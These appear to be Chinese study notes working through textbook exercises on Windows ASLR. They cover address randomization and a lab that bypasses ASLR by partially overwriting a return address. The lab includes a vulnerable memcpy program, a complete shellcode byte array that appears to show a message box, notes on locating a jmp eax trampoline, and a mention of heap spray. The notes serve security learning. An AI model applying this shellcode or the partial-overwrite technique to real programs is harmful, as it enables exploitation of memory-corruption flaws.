目录
原理
跟SafeSEH类似也需要程序自身和操作系统的双持支持,其中程序不是必须的
vs2008中的编译选项

映像随机化
就是重启后,模块加载的基址会有所变化
可能使兼容性考虑,注册表可设置
0是禁用
-1是无聊有无标志都强制开启
其他值是开启(只对有那个标志的)

我们也可以看看重启前后的加载的基址的变化

堆栈随机化
就是两次运行程序,堆栈的基址都是不同的
编写个程序,输出堆栈的地址
#include "stdio.h"
#include "stdlib.h"
int main(int argc, char* argv[]){
char *heap = (char*)malloc(100);
char stack[100];
printf("Address of heap:%#0.4x\nAddress of stack%#0.4x", heap, stack);
getchar();
return 0;
}
先看看XP的,可以看到是没有变的,xp是没开启ASLR的
看看win7,vista就懒得装了
可以看到变得还是挺多的

PEB与TEB随机化
这个在xp sp2就引入了
#include "stdio.h"
#include "stdlib.h"
int main(int argc, char* argv[]){
unsigned int teb;
unsigned int peb;
__asm{
mov eax,FS:[0x18]
mov teb,eax
mov eax,dword ptr [eax+0x30]
mov peb,eax
}
printf("PEB:%#0.4x\nTEB:%#0.4x", peb, teb);
getchar();
return 0;
}

可以看到效果其实不是很好
攻击未启用ASLR的模块
aslr仅仅是安全机制,不是行业标准,不支持aslr的软件有很多
比如flash player ActiveX
接下来开始实验,结果点了跟没点一样,算了,继续下一课吧

利用部分覆盖进行定位内存地址
在前面可以看到,映像加载基址改变的知识前两个字节,如果我们只覆盖最后一个字节或者两个字节,
memcpy可以控制 xxxx0000-xxxxffff中的地址
而strcpy因为有个字符串结束符,所以只能控制 xxxx0001-xxxx00ff这个范围了
看看作者的代码,在实际中肯定要做一点修改的啦
#include "stdafx.h"
#include "stdlib.h"
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x2A\x23"
;
char * test()
{
char tt[256];
memcpy(tt,shellcode,262);
return tt;
}
int _tmain(int argc, _TCHAR* argv[])
{
char temp[200];
test();
return 0;
}
先用262个90
可以看到返回地址最后两个字节已经被覆盖成9090了

看看跳板在哪,只要在0000-ffff偏移的都可以了
这里是部分覆盖,jmp esp基本不可能了
而且我们可以看到只有eax指向栈上shellcode的首地址,那我们找jmp eax就好
上插件

找到的太多了,只能记录到文件中了

可以看到本程序中挺多的,选一个前两个字节相同的就好
其实我们这里也有个232A啊

先手动改一下

单步果然就跳到这里来了

可以的

那我们布置shellcode在前面就行
但是虽然能执行到shellcode处,但是并不能成功

利用Heap spray技术定位内存地址
又是这种,不做了,反正搞过IE漏洞了
就是堆区不知0x90和shellcode,之后test函数的返回地址覆盖成0x0c0c0c0c就好了
利用Java applet heap spray技术定位内存地址(跳过)
为.NET控件禁用ASLR


